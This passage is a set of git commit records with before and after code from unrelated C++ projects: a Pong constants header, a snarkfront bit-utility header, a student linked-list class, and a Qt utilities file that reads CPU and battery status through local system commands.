2.0f;\nconstexpr const float RACKET_HEIGHT = 80.0f;\nconstexpr const float RACKET_HALF_HEIGHT = RACKET_HEIGHT \/ 2.0f;\nconstexpr const float RACKET_BASE_SPEED = 5.0f;\n\nconst std::string ASSETS_PATH = \"assets\/\";\nconstexpr const int DEFAULT_FONT_SIZE = 24;\n\n} \/* namespace pong *\/\n#endif \/* PONG_DEFS_HPP_ *\/\n<commit_msg>Remove unused enum<commit_after>#ifndef PONG_DEFS_HPP_\n#define PONG_DEFS_HPP_\n\n#include <string>\n\nnamespace pong {\n\nconstexpr const wchar_t* WINDOW_TITLE = L\"Pong\";\nconstexpr const int WINDOW_WIDTH = 640;\nconstexpr const int WINDOW_HEIGHT = 480;\nconstexpr const float WINDOW_HALF_WIDTH = WINDOW_WIDTH \/ 2.0f;\nconstexpr const float WINDOW_HALF_HEIGHT = WINDOW_HEIGHT \/ 2.0f;\n\nconstexpr const int PIXELS_PER_METER = 64;\n\nconstexpr const int GAME_FRAMES_PER_SECOND = 60;\nconstexpr const float GAME_TIME_STEP = 1.0f \/ GAME_FRAMES_PER_SECOND;\nconstexpr const int GAME_VELOCITY_ITERATIONS = 8;\nconstexpr const int GAME_POSITION_ITERATIONS = 3;\n\nconstexpr const int MATCH_POINT = 10;\n\nconstexpr const float WALL_WIDTH = WINDOW_WIDTH;\nconstexpr const float WALL_HALF_WIDTH = WALL_WIDTH \/ 2.0f;\nconstexpr const float WALL_HEIGHT = 10.0f;\nconstexpr const float WALL_HALF_HEIGHT = WALL_HEIGHT \/ 2.0f;\n\nconstexpr const float BALL_WIDTH = 10.0f;\nconstexpr const float BALL_HALF_WIDTH = BALL_WIDTH \/ 2.0f;\nconstexpr const float BALL_HEIGHT = 10.0f;\nconstexpr const float BALL_HALF_HEIGHT = BALL_HEIGHT \/ 2.0f;\nconstexpr const float BALL_MIN_SPEED = 2.0f;\nconstexpr const float BALL_MAX_SPEED = 15.0f;\nconstexpr const float BALL_VELOCITY_STEP = 0.003;\nconstexpr const float BALL_MIN_ROTATION_SPEED = 0.1f;\nconstexpr const float BALL_MAX_ROTATION_SPEED = 10.0f;\n\nconstexpr const float RACKET_MARGIN = 15.0f;\nconstexpr const float RACKET_WIDTH = 20.0f;\nconstexpr const float RACKET_HALF_WIDTH = RACKET_WIDTH \/ 2.0f;\nconstexpr const float RACKET_HEIGHT = 80.0f;\nconstexpr const float RACKET_HALF_HEIGHT = RACKET_HEIGHT \/ 2.0f;\nconstexpr const float RACKET_BASE_SPEED = 5.0f;\n\nconst std::string ASSETS_PATH = \"assets\/\";\nconstexpr const int DEFAULT_FONT_SIZE = 24;\n\n} \/* namespace pong *\/\n#endif \/* PONG_DEFS_HPP_ *\/\n<|endoftext|>"}
{"text":"<commit_before>#ifndef _SNARKFRONT_POWERS_OF_2_HPP_\n#define _SNARKFRONT_POWERS_OF_2_HPP_\n\n#include <algorithm>\n#include <cassert>\n#include <climits>\n#include <cstdint>\n#include <gmp.h>\n#include <vector>\n#include <BigInt.hpp> \/\/ snarklib\n\nnamespace snarkfront {\n\n\/\/ look up table for powers of 2 for BigInt\/field\/group\ntemplate <typename T>\nclass PowersOf2\n{\npublic:\n    PowersOf2()\n        : m_lut(1, T::one())\n    {}\n\n    const T& lookUp(const std::size_t index) \n    {\n        \/\/ protect against huge index from accidental pointer argument\n        assert(index < 1024);\n\n        for (std::size_t i = m_lut.size(); i <= index; ++i) {\n            \/\/ m_lut[i] = 2 * m_lut[i - 1];\n            m_lut.emplace_back(m_lut.back() + m_lut.back());\n        }\n\n        return m_lut[index];\n    }\n\n    T getNumber(const std::size_t number) {\n        T accum = T::zero();\n\n        auto b = number;\n        std::size_t i = 0;\n        while (b) {\n            if (b & 0x1)\n                accum = accum + lookUp(i);\n\n            b >>= 1;\n            ++i;\n        }\n\n        return accum;\n    }\n\n    T getNumber(const std::vector<int>& bits) {\n        T accum = T::zero();\n\n        for (std::size_t i = 0; i < bits.size(); ++i) {\n            if (bits[i])\n                accum = accum + lookUp(i);\n        }\n\n        return accum;\n    }\n\nprivate:\n    std::vector<T> m_lut; \/\/ index -> T(2^index)\n};\n\n\/\/ convert Boolean to BigInt\/field\/group one and zero\ntemplate <typename T>\nT boolTo(const bool a) {\n    return a ? T::one() : T::zero();\n}\n\n\/\/ size of type in bits\nstd::size_t sizeBits(const bool& dummy);\nstd::size_t sizeBits(const std::uint32_t& dummy);\nstd::size_t sizeBits(const std::uint64_t& dummy);\n\ntemplate <mp_size_t N>\nstd::size_t sizeBits(const snarklib::BigInt<N>& dummy) {\n    return snarklib::BigInt<N>::maxBits();\n}\n\n\/\/ returns number of matching bits starting from most significant bit\ntemplate <typename BIT>\nint matchMSB(const std::vector<BIT>& a,\n             const std::vector<BIT>& b)\n{\n    if (a.size() != b.size())\n        return -1; \/\/ a and b are different sizes, no matching bits\n\n    for (int i = a.size() - 1; i >= 0; --i) {\n        if (bool(a[i] != b[i]))\n            return a.size() - 1 - i; \/\/ some bits match\n    }\n\n    return a.size(); \/\/ all bits match\n}\n\n\/\/ convert value to bits\nstd::vector<int> valueBits(const bool& a);\nstd::vector<int> valueBits(const std::uint32_t& a);\nstd::vector<int> valueBits(const std::uint64_t& a);\n\ntemplate <mp_size_t N>\nstd::vector<int> valueBits(const snarklib::BigInt<N>& a) {\n    std::vector<int> v;\n    v.reserve(sizeBits(a));\n\n    for (std::size_t i = 0; i < sizeBits(a); ++i) {\n        v.push_back(a.testBit(i));\n    }\n\n    return v;\n}\n\n\/\/ convert bits to value\ntemplate <typename UINT_N>\nstd::vector<int> bitsValue(UINT_N& a, const std::vector<int>& b)\n{\n    UINT_N result = 0;\n    const std::size_t N = std::min(sizeBits(a), b.size());\n    for (std::size_t i = 0; i < N; ++i) {\n        result |= (UINT_N(b[i]) << i);\n    }\n\n    a = result;\n\n    std::vector<int> v;\n    for (std::size_t i = N; i < b.size(); ++i) {\n        v.push_back(b[i]);\n    }\n\n    return v;\n}\n\n\/\/ count number of set bits\nstd::size_t countBits(const std::vector<int>& v);\n\n\/\/ overflow addition (uint32_t and uint64_t)\ntemplate <typename UINT_N>\nvoid addover(UINT_N& a1, UINT_N& a0, const UINT_N& b) \n{\n    \/\/ a0 = 2 * a0_half + a0_bit\n    \/\/ b = 2 * b_half + b_bit\n    const UINT_N\n        a0_half = a0 >> 1, a0_bit = a0 & 0x1,\n        b_half = b >> 1, b_bit = b & 0x1;\n\n    \/\/ a0 + b = 2 * (a0_half + b_half) + (a0_bit + b_bit)\n    \/\/        = 2 * halfsum + a0_bit + b_bit\n    const UINT_N halfsum = a0_half + b_half;\n\n    \/\/ (high, low) = a0 + b\n    UINT_N\n        high = halfsum >> (sizeBits(high) - 1), \/\/ carry bit\n        low = (halfsum << 1) + a0_bit;\n\n    const UINT_N lowOriginal = low;\n    low += b_bit;\n    if ((0 == low) && (-1 == lowOriginal)) ++high; \/\/ handle carry\n\n    \/\/ accumulate result\n    a1 += high;\n    a0 = low;\n}\n\n} \/\/ namespace snarkfront\n\n#endif\n<commit_msg>USE_ASSERT<commit_after>#ifndef _SNARKFRONT_POWERS_OF_2_HPP_\n#define _SNARKFRONT_POWERS_OF_2_HPP_\n\n#include <algorithm>\n#include <cassert>\n#include <climits>\n#include <cstdint>\n#include <gmp.h>\n#include <vector>\n#include <BigInt.hpp> \/\/ snarklib\n\nnamespace snarkfront {\n\n\/\/ look up table for powers of 2 for BigInt\/field\/group\ntemplate <typename T>\nclass PowersOf2\n{\npublic:\n    PowersOf2()\n        : m_lut(1, T::one())\n    {}\n\n    const T& lookUp(const std::size_t index) \n    {\n        \/\/ protect against huge index from accidental pointer argument\n#ifdef USE_ASSERT\n        assert(index < 1024);\n#endif\n\n        for (std::size_t i = m_lut.size(); i <= index; ++i) {\n            \/\/ m_lut[i] = 2 * m_lut[i - 1];\n            m_lut.emplace_back(m_lut.back() + m_lut.back());\n        }\n\n        return m_lut[index];\n    }\n\n    T getNumber(const std::size_t number) {\n        T accum = T::zero();\n\n        auto b = number;\n        std::size_t i = 0;\n        while (b) {\n            if (b & 0x1)\n                accum = accum + lookUp(i);\n\n            b >>= 1;\n            ++i;\n        }\n\n        return accum;\n    }\n\n    T getNumber(const std::vector<int>& bits) {\n        T accum = T::zero();\n\n        for (std::size_t i = 0; i < bits.size(); ++i) {\n            if (bits[i])\n                accum = accum + lookUp(i);\n        }\n\n        return accum;\n    }\n\nprivate:\n    std::vector<T> m_lut; \/\/ index -> T(2^index)\n};\n\n\/\/ convert Boolean to BigInt\/field\/group one and zero\ntemplate <typename T>\nT boolTo(const bool a) {\n    return a ? T::one() : T::zero();\n}\n\n\/\/ size of type in bits\nstd::size_t sizeBits(const bool& dummy);\nstd::size_t sizeBits(const std::uint32_t& dummy);\nstd::size_t sizeBits(const std::uint64_t& dummy);\n\ntemplate <mp_size_t N>\nstd::size_t sizeBits(const snarklib::BigInt<N>& dummy) {\n    return snarklib::BigInt<N>::maxBits();\n}\n\n\/\/ returns number of matching bits starting from most significant bit\ntemplate <typename BIT>\nint matchMSB(const std::vector<BIT>& a,\n             const std::vector<BIT>& b)\n{\n    if (a.size() != b.size())\n        return -1; \/\/ a and b are different sizes, no matching bits\n\n    for (int i = a.size() - 1; i >= 0; --i) {\n        if (bool(a[i] != b[i]))\n            return a.size() - 1 - i; \/\/ some bits match\n    }\n\n    return a.size(); \/\/ all bits match\n}\n\n\/\/ convert value to bits\nstd::vector<int> valueBits(const bool& a);\nstd::vector<int> valueBits(const std::uint32_t& a);\nstd::vector<int> valueBits(const std::uint64_t& a);\n\ntemplate <mp_size_t N>\nstd::vector<int> valueBits(const snarklib::BigInt<N>& a) {\n    std::vector<int> v;\n    v.reserve(sizeBits(a));\n\n    for (std::size_t i = 0; i < sizeBits(a); ++i) {\n        v.push_back(a.testBit(i));\n    }\n\n    return v;\n}\n\n\/\/ convert bits to value\ntemplate <typename UINT_N>\nstd::vector<int> bitsValue(UINT_N& a, const std::vector<int>& b)\n{\n    UINT_N result = 0;\n    const std::size_t N = std::min(sizeBits(a), b.size());\n    for (std::size_t i = 0; i < N; ++i) {\n        result |= (UINT_N(b[i]) << i);\n    }\n\n    a = result;\n\n    std::vector<int> v;\n    for (std::size_t i = N; i < b.size(); ++i) {\n        v.push_back(b[i]);\n    }\n\n    return v;\n}\n\n\/\/ count number of set bits\nstd::size_t countBits(const std::vector<int>& v);\n\n\/\/ overflow addition (uint32_t and uint64_t)\ntemplate <typename UINT_N>\nvoid addover(UINT_N& a1, UINT_N& a0, const UINT_N& b) \n{\n    \/\/ a0 = 2 * a0_half + a0_bit\n    \/\/ b = 2 * b_half + b_bit\n    const UINT_N\n        a0_half = a0 >> 1, a0_bit = a0 & 0x1,\n        b_half = b >> 1, b_bit = b & 0x1;\n\n    \/\/ a0 + b = 2 * (a0_half + b_half) + (a0_bit + b_bit)\n    \/\/        = 2 * halfsum + a0_bit + b_bit\n    const UINT_N halfsum = a0_half + b_half;\n\n    \/\/ (high, low) = a0 + b\n    UINT_N\n        high = halfsum >> (sizeBits(high) - 1), \/\/ carry bit\n        low = (halfsum << 1) + a0_bit;\n\n    const UINT_N lowOriginal = low;\n    low += b_bit;\n    if ((0 == low) && (-1 == lowOriginal)) ++high; \/\/ handle carry\n\n    \/\/ accumulate result\n    a1 += high;\n    a0 = low;\n}\n\n} \/\/ namespace snarkfront\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <sstream>\n#include \"Myexception.h\"\n#include \"chain.h\"\n\n\nusing namespace std;\n\n\nvoid chain :: readAndStoreFromFile(char* fileName)\n{\n\t\/\/This function reads integers from the file given by fileName then store them in the chain\n\n\tifstream infile(fileName) ;\n\tstring line;\n\n\twhile(getline(infile, line)) {\n\t\tistringstream iss(line);\n\t\tint n;\n\t\tiss >> n;\n\t\tinsert(listSize, n);\n\t}\n\n}\n\n\nvoid chain :: eraseModuloValue(int theInt)\n{\n\t\/\/This function erases all the entries from the list which are multiple of theInt\n\n\tfor(int i=0; i < listSize; i++) {\n\t\tint value = *this->get(i);\n\t\tint remainder = value%theInt;\n\n        \tif (remainder == 0 && value > theInt) {\n\t\t\terase(i);\n        \t\ti--;\n\t\t}\n\t}\n\n}\n\n\nvoid chain :: oddAndEvenOrdering()\n{\n\t\/\/This function reorders the list such a way that all odd numbers precede all even numbers. \n\t\/\/Note that for two odd (even) numbers i and j, the ordering between i and j should be intact after reordering.\n\n\n\n\n}\n\nvoid chain :: reverse()\n{\n\t\/\/Reverses the list\n\n\tfor(int i=0; i < listSize; i++) {\n\t\tint value = *this->get(i);\n        \tinsert(0, value);\n\t}\n\n}\n\n \n\nchain :: chain(int initialCapacity)\n{\n\t\/\/Constructor\n\tif(initialCapacity < 1)\n\t{\n\t\tostringstream s;\n\t\ts << \"Initial capacity = \" << initialCapacity << \" Must be > 0\";\n\t\tthrow illegalParameterValue(s.str());\n\t}\n\t\n\tfirstNode = NULL;\n\tlistSize = 0;\n\n}\n\n\nchain :: ~chain()\n{\n\t\/\/Destructor. Delete all nodes in chain\n\t\n\twhile(firstNode != NULL)\n\t{\n\t\t\/\/delete firstNode\n\t\tchainNode* nextNode = firstNode->next;\n\t\tdelete firstNode;\n\t\tfirstNode = nextNode;\n\t\n\t}\n\t\n}\n\nint* chain :: get(int theIndex) const\n{\n\t\/\/Return element whose index is theIndex.\n\t\/\/Throw illegalIndex exception if no such element.\n\ttry{\n\t\tcheckIndex(theIndex);\n\t}\n\tcatch(illegalIndex &e){\n\t\te.outputMessage();\n\t\treturn NULL;\n\t}\n\t\n\tchainNode* currentNode = firstNode;\n\tfor(int i=0;i<theIndex;i++)\n\t\tcurrentNode = currentNode->next;\n\t\n\treturn &currentNode->element;\n\n\n}\n\n\nint chain :: indexOf(const int& theElement) const\n{\n\t\/\/Return index of first occurrence of theElement.\n\t\/\/Return -1 of theElement not in list.\n\t\n\t\n\tchainNode* currentNode = firstNode;\n\tint index = 0;\n\twhile(currentNode != NULL && currentNode->element != theElement)\n\t{\n\t\t\/\/move to the next node\n\t\tcurrentNode = currentNode->next;\n\t\tindex++;\n\t\n\t}\n\t\n\t\n\t\/\/make sure we found matching element\n\tif(currentNode == NULL)\n\t\treturn -1;\n\n\telse\n\t\treturn index;\n\n}\n\n\nvoid chain :: erase(int theIndex)\n{\n\t\/\/Delete the element whose index is theIndex.\n\t\/\/Throw illegalIndex exception if no such element.\n\t\n\ttry{\n\t\tcheckIndex(theIndex);\n\t}\n\tcatch(illegalIndex &e){\n\t\te.outputMessage();\n\t\treturn;\n\t}\n\t\n\tchainNode* deleteNode;\n\tif(theIndex == 0)\n\t{\n\t\t\/\/remove first node from chain\n\t\tdeleteNode = firstNode;\n\t\tfirstNode = firstNode->next;\n\n\t}\n\telse\n\t{\n\t\t\/\/use p to get to predecessor of desired node\n\t\tchainNode* p = firstNode;\n\t\tfor(int i=0;i<theIndex-1;i++)\n\t\t\tp = p->next;\n\t\t\t\n\t\tdeleteNode = p->next;\n\t\tp->next = p->next->next; \/\/remove deleteNode from chain\n\t\n\t}\n\n\tlistSize--;\n\tdelete deleteNode;\n\n\n}\n\nvoid chain :: insert(int theIndex, const int& theElement)\n{\n\t\/\/Insert theElement so that its index is theIndex.\n\ttry{\n   \t\tif (theIndex < 0 || theIndex > listSize)\n   \t\t{\/\/ invalid index\n    \t\t\n\t\t\tostringstream s;\n    \t\t\ts << \"index = \" << theIndex << \" size = \" << listSize;\n    \t\t\tthrow illegalIndex(s.str());\n\t\t}\n\t}\n\tcatch(illegalIndex &e){\n\t\te.outputMessage();\n\t\treturn;\n\t}\n\t\n\tif(theIndex == 0)\n\t\t\/\/insert at front\n\t\tfirstNode = new chainNode(theElement, firstNode);\n\telse\n\t{\n\t\tchainNode *p = firstNode;\n\t\tfor(int i=0;i<theIndex-1;i++)\n\t\t\tp = p->next;\n\t\n\t\t\/\/insert after p\n\t\tp->next = new chainNode(theElement, p->next);\n\t\n\t\n\t}\n\n\tlistSize++;\n\n}\n\n\nvoid chain :: output() const\n{\n\t\/\/Put the list into the output.\n\n\tfor(int i=0;i<listSize;i++)\n\t\tcout << *this->get(i) << \" \";\n\tcout<<endl;\n\n}\n\n\n\n\nvoid chain::checkIndex(int theIndex) const\n{\n\/\/ Verify that theIndex is between 0 and \n \/\/ listSize - 1.\n\n   \tif (theIndex < 0 || theIndex >= listSize){\n\t\tostringstream s;\n    \t\ts << \"index = \" << theIndex << \" size = \" \n                    << listSize<<\", the input index is invalid\";\n    \t\tthrow illegalIndex(s.str());\n\t}\n \n}\n<commit_msg>now includes multiples below indecated<commit_after>#include <iostream>\n#include <fstream>\n#include <sstream>\n#include \"Myexception.h\"\n#include \"chain.h\"\n\n\nusing namespace std;\n\n\nvoid chain :: readAndStoreFromFile(char* fileName)\n{\n\t\/\/This function reads integers from the file given by fileName then store them in the chain\n\n\tifstream infile(fileName) ;\n\tstring line;\n\n\twhile(getline(infile, line)) {\n\t\tistringstream iss(line);\n\t\tint n;\n\t\tiss >> n;\n\t\tinsert(listSize, n);\n\t}\n\n}\n\n\nvoid chain :: eraseModuloValue(int theInt)\n{\n\t\/\/This function erases all the entries from the list which are multiple of theInt\n\n\tfor(int i=0; i < listSize; i++) {\n\t\tint value = *this->get(i);\n\t\tint remainder = value%theInt;\n\n        \tif (remainder == 0) {\n\t\t\terase(i);\n        \t\ti--;\n\t\t}\n\t}\n\n}\n\n\nvoid chain :: oddAndEvenOrdering()\n{\n\t\/\/This function reorders the list such a way that all odd numbers precede all even numbers. \n\t\/\/Note that for two odd (even) numbers i and j, the ordering between i and j should be intact after reordering.\n\n\n\n\n}\n\nvoid chain :: reverse()\n{\n\t\/\/Reverses the list\n\n\tfor(int i=0; i < listSize; i++) {\n\t\tint value = *this->get(i);\n        \tinsert(0, value);\n\t}\n\n}\n\n \n\nchain :: chain(int initialCapacity)\n{\n\t\/\/Constructor\n\tif(initialCapacity < 1)\n\t{\n\t\tostringstream s;\n\t\ts << \"Initial capacity = \" << initialCapacity << \" Must be > 0\";\n\t\tthrow illegalParameterValue(s.str());\n\t}\n\t\n\tfirstNode = NULL;\n\tlistSize = 0;\n\n}\n\n\nchain :: ~chain()\n{\n\t\/\/Destructor. Delete all nodes in chain\n\t\n\twhile(firstNode != NULL)\n\t{\n\t\t\/\/delete firstNode\n\t\tchainNode* nextNode = firstNode->next;\n\t\tdelete firstNode;\n\t\tfirstNode = nextNode;\n\t\n\t}\n\t\n}\n\nint* chain :: get(int theIndex) const\n{\n\t\/\/Return element whose index is theIndex.\n\t\/\/Throw illegalIndex exception if no such element.\n\ttry{\n\t\tcheckIndex(theIndex);\n\t}\n\tcatch(illegalIndex &e){\n\t\te.outputMessage();\n\t\treturn NULL;\n\t}\n\t\n\tchainNode* currentNode = firstNode;\n\tfor(int i=0;i<theIndex;i++)\n\t\tcurrentNode = currentNode->next;\n\t\n\treturn &currentNode->element;\n\n\n}\n\n\nint chain :: indexOf(const int& theElement) const\n{\n\t\/\/Return index of first occurrence of theElement.\n\t\/\/Return -1 of theElement not in list.\n\t\n\t\n\tchainNode* currentNode = firstNode;\n\tint index = 0;\n\twhile(currentNode != NULL && currentNode->element != theElement)\n\t{\n\t\t\/\/move to the next node\n\t\tcurrentNode = currentNode->next;\n\t\tindex++;\n\t\n\t}\n\t\n\t\n\t\/\/make sure we found matching element\n\tif(currentNode == NULL)\n\t\treturn -1;\n\n\telse\n\t\treturn index;\n\n}\n\n\nvoid chain :: erase(int theIndex)\n{\n\t\/\/Delete the element whose index is theIndex.\n\t\/\/Throw illegalIndex exception if no such element.\n\t\n\ttry{\n\t\tcheckIndex(theIndex);\n\t}\n\tcatch(illegalIndex &e){\n\t\te.outputMessage();\n\t\treturn;\n\t}\n\t\n\tchainNode* deleteNode;\n\tif(theIndex == 0)\n\t{\n\t\t\/\/remove first node from chain\n\t\tdeleteNode = firstNode;\n\t\tfirstNode = firstNode->next;\n\n\t}\n\telse\n\t{\n\t\t\/\/use p to get to predecessor of desired node\n\t\tchainNode* p = firstNode;\n\t\tfor(int i=0;i<theIndex-1;i++)\n\t\t\tp = p->next;\n\t\t\t\n\t\tdeleteNode = p->next;\n\t\tp->next = p->next->next; \/\/remove deleteNode from chain\n\t\n\t}\n\n\tlistSize--;\n\tdelete deleteNode;\n\n\n}\n\nvoid chain :: insert(int theIndex, const int& theElement)\n{\n\t\/\/Insert theElement so that its index is theIndex.\n\ttry{\n   \t\tif (theIndex < 0 || theIndex > listSize)\n   \t\t{\/\/ invalid index\n    \t\t\n\t\t\tostringstream s;\n    \t\t\ts << \"index = \" << theIndex << \" size = \" << listSize;\n    \t\t\tthrow illegalIndex(s.str());\n\t\t}\n\t}\n\tcatch(illegalIndex &e){\n\t\te.outputMessage();\n\t\treturn;\n\t}\n\t\n\tif(theIndex == 0)\n\t\t\/\/insert at front\n\t\tfirstNode = new chainNode(theElement, firstNode);\n\telse\n\t{\n\t\tchainNode *p = firstNode;\n\t\tfor(int i=0;i<theIndex-1;i++)\n\t\t\tp = p->next;\n\t\n\t\t\/\/insert after p\n\t\tp->next = new chainNode(theElement, p->next);\n\t\n\t\n\t}\n\n\tlistSize++;\n\n}\n\n\nvoid chain :: output() const\n{\n\t\/\/Put the list into the output.\n\n\tfor(int i=0;i<listSize;i++)\n\t\tcout << *this->get(i) << \" \";\n\tcout<<endl;\n\n}\n\n\n\n\nvoid chain::checkIndex(int theIndex) const\n{\n\/\/ Verify that theIndex is between 0 and \n \/\/ listSize - 1.\n\n   \tif (theIndex < 0 || theIndex >= listSize){\n\t\tostringstream s;\n    \t\ts << \"index = \" << theIndex << \" size = \" \n                    << listSize<<\", the input index is invalid\";\n    \t\tthrow illegalIndex(s.str());\n\t}\n \n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\r\n * Copyright (c) 2015-2016 Alex Spataru <alex_spataru@outlook.com>\r\n *\r\n * Permission is hereby granted, free of charge, to any person obtaining a copy\r\n * of this software and associated documentation files (the \"Software\"), to deal\r\n * in the Software without restriction, including without limitation the rights\r\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\r\n * copies of the Software, and to permit persons to whom the Software is\r\n * furnished to do so, subject to the following conditions:\r\n *\r\n * The above copyright notice and this permission notice shall be included in\r\n * all copies or substantial portions of the Software.\r\n *\r\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n * THE SOFTWARE.\r\n *\/\r\n\r\n#include \"utilities.h\"\r\n\r\n#include <QTimer>\r\n#include <QDebug>\r\n#include <QScreen>\r\n#include <QSettings>\r\n#include <QClipboard>\r\n#include <QApplication>\r\n\r\n\/\/------------------------------------------------------------------------------\r\n\/\/ Windows hacks\r\n\/\/------------------------------------------------------------------------------\r\n\r\n#if defined Q_OS_WIN\r\n    #include <pdh.h>\r\n    #include <tchar.h>\r\n    #include <windows.h>\r\n    #include <windowsx.h>\r\n\r\n    static PDH_HQUERY cpuQuery;\r\n    static PDH_HCOUNTER cpuTotal;\r\n    static SYSTEM_POWER_STATUS power;\r\n#endif\r\n\r\n\/\/------------------------------------------------------------------------------\r\n\/\/ Mac OS hacks\r\n\/\/------------------------------------------------------------------------------\r\n\r\n#if defined Q_OS_MAC\r\n    static const QString CPU_CMD = \"bash -c \\\"ps -A -o %cpu | \"\r\n    \"awk '{s+=$1} END {print s}'\\\"\";\r\n    static const QString BTY_CMD = \"pmset -g batt\";\r\n    static const QString PWR_CMD = \"pmset -g batt\";\r\n#endif\r\n\r\n\/\/------------------------------------------------------------------------------\r\n\/\/ Linux hacks\r\n\/\/------------------------------------------------------------------------------\r\n\r\n#if defined Q_OS_LINUX\r\n    #include <QFile>\r\n    #include <QRegExp>\r\n\r\n    static const QString BTY_CMD = \"bash -c \\\"upower -i \"\r\n    \"$(upower -e | grep 'BAT') | \"\r\n    \"grep -E 'state|to\\\\ full|percentage'\\\"\";\r\n    static const QString PWR_CMD = \"bash -c \\\"upower -i \"\r\n    \"$(upower -e | grep 'BAT') | \"\r\n    \"grep -E 'state|to\\\\ full|percentage'\\\"\";\r\n#endif\r\n\r\n\/\/------------------------------------------------------------------------------\r\n\/\/ Ensure that application compiles even if OS is not supported\r\n\/\/------------------------------------------------------------------------------\r\n\r\n#if !defined Q_OS_WIN && !defined Q_OS_MAC && !defined Q_OS_LINUX\r\n    static const QString CPU_CMD = \"\";\r\n    static const QString BTY_CMD = \"\";\r\n    static const QString PWR_CMD = \"\";\r\n#endif\r\n\r\n\/\/------------------------------------------------------------------------------\r\n\/\/ Start class code\r\n\/\/------------------------------------------------------------------------------\r\n\r\n\/**\r\n * Configures the class and nitializes the CPU querying process under Windows.\r\n *\/\r\nUtilities::Utilities()\r\n{\r\n    m_ratio = 0;\r\n    m_cpuUsage = 0;\r\n    m_batteryLevel = 0;\r\n    m_connectedToAC = 0;\r\n\r\n    m_settings = new QSettings (qApp->organizationName(),\r\n                                qApp->applicationName());\r\n\r\n    \/* Read process data when they finish *\/\r\n    connect (&m_cpuProcess,           SIGNAL (finished                 (int)),\r\n             this,                      SLOT (readCpuUsageProcess      (int)));\r\n    connect (&m_batteryLevelProcess,  SIGNAL (finished                 (int)),\r\n             this,                      SLOT (readBatteryLevelProcess  (int)));\r\n    connect (&m_connectedToACProcess, SIGNAL (finished                 (int)),\r\n             this,                      SLOT (readConnectedToACProcess (int)));\r\n\r\n    \/* Kill the probing processes when application quits *\/\r\n    connect (qApp,                  SIGNAL (aboutToQuit()),\r\n             &m_cpuProcess,           SLOT (kill()));\r\n    connect (qApp,                  SIGNAL (aboutToQuit()),\r\n             &m_batteryLevelProcess,  SLOT (kill()));\r\n    connect (qApp,                  SIGNAL (aboutToQuit()),\r\n             &m_connectedToACProcess, SLOT (kill()));\r\n\r\n    \/* Configure Windows *\/\r\n#if defined Q_OS_WIN\r\n    PdhOpenQuery (0, 0, &cpuQuery);\r\n    PdhAddCounter (cpuQuery,\r\n                   L\"\\\\Processor(_Total)\\\\% Processor Time\",\r\n                   0,\r\n                   &cpuTotal);\r\n    PdhCollectQueryData (cpuQuery);\r\n#endif\r\n\r\n    \/* Start loop *\/\r\n    updateCpuUsage();\r\n    updateBatteryLevel();\r\n    updateConnectedToAC();\r\n}\r\n\r\n\/**\r\n * Returns the auto-calculates scale ratio\r\n *\/\r\nqreal Utilities::scaleRatio()\r\n{\r\n    if (m_ratio < 1)\r\n        calculateScaleRatio();\r\n\r\n    return m_ratio;\r\n}\r\n\r\n\/**\r\n * Returns the current CPU usage (from 0 to 100)\r\n *\/\r\nint Utilities::cpuUsage()\r\n{\r\n    m_cpuUsage = abs (m_cpuUsage);\r\n\r\n    if (m_cpuUsage <= 100)\r\n        return m_cpuUsage;\r\n\r\n    return 0;\r\n}\r\n\r\n\/**\r\n * Returns the current battery level (from 0 to 100)\r\n *\/\r\nint Utilities::batteryLevel()\r\n{\r\n    m_batteryLevel = abs (m_batteryLevel);\r\n\r\n    if (m_batteryLevel <= 100)\r\n        return m_batteryLevel;\r\n\r\n    return 0;\r\n}\r\n\r\n\/**\r\n * Returns \\c true if the computer is connected to a power source or the\r\n * battery is not discharging.\r\n *\/\r\nbool Utilities::isConnectedToAC()\r\n{\r\n    return m_connectedToAC;\r\n}\r\n\r\n\/**\r\n * Copies the given \\a data to the system clipboard\r\n *\/\r\nvoid Utilities::copy (const QVariant& data)\r\n{\r\n    qApp->clipboard()->setText (data.toString(), QClipboard::Clipboard);\r\n}\r\n\r\n\/**\r\n * Enables or disables the autoscale feature.\r\n * \\note The application must be restarted for changes to take effect\r\n *\/\r\nvoid Utilities::setAutoScaleEnabled (const bool enabled)\r\n{\r\n    m_settings->setValue (\"AutoScale\", enabled);\r\n}\r\n\r\n\/**\r\n * Queries for the current CPU usage\r\n *\/\r\nvoid Utilities::updateCpuUsage()\r\n{\r\n#if defined Q_OS_WIN\r\n    PDH_FMT_COUNTERVALUE counterVal;\r\n    PdhCollectQueryData (cpuQuery);\r\n    PdhGetFormattedCounterValue (cpuTotal, PDH_FMT_DOUBLE, 0, &counterVal);\r\n    m_cpuUsage = static_cast<int> (counterVal.doubleValue);\r\n    emit cpuUsageChanged();\r\n#elif defined Q_OS_MAC\r\n    m_cpuProcess.terminate();\r\n    m_cpuProcess.start (CPU_CMD, QIODevice::ReadOnly);\r\n#elif defined Q_OS_LINUX\r\n    auto cpuJiffies = getCpuJiffies();\r\n\r\n    m_cpuUsage = (cpuJiffies.first - m_pastCpuJiffies.first) * 100 \/\r\n                 (cpuJiffies.second - m_pastCpuJiffies.second);\r\n\r\n    m_pastCpuJiffies = cpuJiffies;\r\n#endif\r\n\r\n    QTimer::singleShot (1000,\r\n                        Qt::PreciseTimer,\r\n                        this, SLOT (updateCpuUsage()));\r\n}\r\n\r\n\/**\r\n * Queries for the current battery level\r\n *\/\r\nvoid Utilities::updateBatteryLevel()\r\n{\r\n#if defined Q_OS_WIN\r\n    GetSystemPowerStatus (&power);\r\n    m_batteryLevel = static_cast<int> (power.BatteryLifePercent);\r\n    emit batteryLevelChanged();\r\n#else\r\n    m_batteryLevelProcess.terminate();\r\n    m_batteryLevelProcess.start (BTY_CMD, 